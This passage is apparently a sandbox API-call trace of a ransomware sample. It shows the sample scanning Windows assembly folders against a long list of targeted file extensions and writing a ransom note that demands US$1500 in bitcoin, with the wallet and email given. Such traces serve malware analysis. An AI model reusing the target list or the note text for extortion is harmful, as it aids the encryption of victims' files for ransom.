(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.rar") returned 0 [0112.579] lstrlenA (lpString="*.rar") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.zip") returned 0 [0112.579] lstrlenA (lpString="*.zip") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.html") returned 0 [0112.579] lstrlenA (lpString="*.html") returned 6 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.htm") returned 0 [0112.579] lstrlenA (lpString="*.htm") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.xlsx") returned 0 [0112.579] lstrlenA (lpString="*.xlsx") returned 6 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.xls") returned 0 [0112.579] lstrlenA (lpString="*.xls") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mp4") returned 0 [0112.579] lstrlenA (lpString="*.mp4") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.ppt") returned 0 [0112.579] lstrlenA (lpString="*.ppt") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.pptx") returned 0 [0112.579] lstrlenA (lpString="*.pptx") returned 6 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.doc") returned 0 [0112.579] lstrlenA (lpString="*.doc") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.dot") returned 0 [0112.579] lstrlenA (lpString="*.dot") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.docx") returned 0 [0112.579] lstrlenA (lpString="*.docx") returned 6 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.7z") returned 0 [0112.579] lstrlenA (lpString="*.7z") returned 4 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.tar") returned 0 [0112.580] lstrlenA (lpString="*.tar") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.bz2") returned 0 [0112.580] lstrlenA (lpString="*.bz2") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.gz") returned 0 [0112.580] lstrlenA (lpString="*.gz") returned 4 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mkv") returned 0 [0112.580] lstrlenA (lpString="*.mkv") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.eml") returned 0 [0112.580] lstrlenA (lpString="*.eml") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.msg") returned 0 [0112.580] lstrlenA (lpString="*.msg") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.edb") returned 0 [0112.580] lstrlenA (lpString="*.edb") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.accdb") returned 0 [0112.580] lstrlenA (lpString="*.accdb") returned 7 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.odb") returned 0 [0112.580] lstrlenA (lpString="*.odb") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.java") returned 0 [0112.580] lstrlenA (lpString="*.java") returned 6 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.asm") returned 0 [0112.580] lstrlenA (lpString="*.asm") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.pfx") returned 0 [0112.580] lstrlenA (lpString="*.pfx") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.pem") returned 0 [0112.580] lstrlenA (lpString="*.pem") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.p12") returned 0 [0112.580] lstrlenA (lpString="*.p12") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.gpg") returned 0 [0112.580] lstrlenA (lpString="*.gpg") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.vsd") returned 0 [0112.580] lstrlenA (lpString="*.vsd") returned 5 [0112.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.odg") returned 0 [0112.580] lstrlenA (lpString="*.odg") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.raw") returned 0 [0112.581] lstrlenA (lpString="*.raw") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.nef") returned 0 [0112.581] lstrlenA (lpString="*.nef") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.svg") returned 0 [0112.581] lstrlenA (lpString="*.svg") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.psd") returned 0 [0112.581] lstrlenA (lpString="*.psd") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.vmx") returned 0 [0112.581] lstrlenA (lpString="*.vmx") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.vmdk") returned 0 [0112.581] lstrlenA (lpString="*.vmdk") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.vdi") returned 0 [0112.581] lstrlenA (lpString="*.vdi") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.lay6") returned 0 [0112.581] lstrlenA (lpString="*.lay6") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mpeg") returned 0 [0112.581] lstrlenA (lpString="*.mpeg") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.djvu") returned 0 [0112.581] lstrlenA (lpString="*.djvu") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.tiff") returned 0 [0112.581] lstrlenA (lpString="*.tiff") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.backup") returned 0 [0112.581] lstrlenA (lpString="*.backup") returned 8 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.pdf") returned 0 [0112.581] lstrlenA (lpString="*.pdf") returned 5 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.cert") returned 0 [0112.581] lstrlenA (lpString="*.cert") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.docm") returned 0 [0112.581] lstrlenA (lpString="*.docm") returned 6 [0112.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.xlsm") returned 0 [0112.582] lstrlenA (lpString="*.xlsm") returned 6 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.dwg") returned 0 [0112.582] lstrlenA (lpString="*.dwg") returned 5 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.nd") returned 0 [0112.582] lstrlenA (lpString="*.nd") returned 4 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.tlg") returned 0 [0112.582] lstrlenA (lpString="*.tlg") returned 5 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.lgb") returned 0 [0112.582] lstrlenA (lpString="*.lgb") returned 5 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mov") returned 0 [0112.582] lstrlenA (lpString="*.mov") returned 5 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.xdw") returned 0 [0112.582] lstrlenA (lpString="*.xdw") returned 5 [0112.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.ods") returned 0 [0112.583] lstrlenA (lpString="*.ods") returned 5 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.wav") returned 0 [0112.583] lstrlenA (lpString="*.wav") returned 5 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mp3") returned 0 [0112.583] lstrlenA (lpString="*.mp3") returned 5 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.aiff") returned 0 [0112.583] lstrlenA (lpString="*.aiff") returned 6 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.flac") returned 0 [0112.583] lstrlenA (lpString="*.flac") returned 6 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.m4a") returned 0 [0112.583] lstrlenA (lpString="*.m4a") returned 5 [0112.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.csv") returned 0 [0112.583] lstrlenA (lpString="*.csv") returned 5 [0112.583] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e400129, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e400129, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e44c3ea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.583] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.583] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7111bf18edb7bf9d986782131f797acb", cAlternateFileName="7111BF~1")) returned 0 [0112.584] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.584] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Deployment", cAlternateFileName="SYSTEM~1.DEP")) returned 1 [0112.584] lstrcmpA (lpString1=".", lpString2="System.Deployment") returned -1 [0112.584] lstrcmpA (lpString1="..", lpString2="System.Deployment") returned -1 [0112.584] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.584] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Deployment" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment" [0112.584] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment") returned 64 [0112.584] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.585] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.585] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.585] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.585] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.585] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="413d36d1d35aabadf1c9d6f0a56cfab8", cAlternateFileName="413D36~1")) returned 1 [0112.585] lstrcmpA (lpString1=".", lpString2="413d36d1d35aabadf1c9d6f0a56cfab8") returned -1 [0112.585] lstrcmpA (lpString1="..", lpString2="413d36d1d35aabadf1c9d6f0a56cfab8") returned -1 [0112.585] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\*.*") returned="*.*" [0112.585] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\", lpString2="413d36d1d35aabadf1c9d6f0a56cfab8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8" [0112.585] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8") returned 97 [0112.585] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.585] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.585] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.585] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.586] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.586] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70726621, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70726621, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7074c782, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x254c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.586] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.586] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Deployment.ni.dll") returned -1 [0112.586] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Deployment.ni.dll") returned -1 [0112.586] lstrcmpiA (lpString1="", lpString2="System.Deployment.ni.dll") returned -1 [0112.586] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\*.*") returned="*.*" [0112.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\" [0112.586] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\") returned="" [0112.586] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\HOW TO DECRYPT FILES.txt" [0112.586] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\how to decrypt files.txt")) returned 0xffffffff [0112.586] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.587] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.587] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.588] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.588] CloseHandle (hObject=0x90) returned 1 [0112.588] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\", 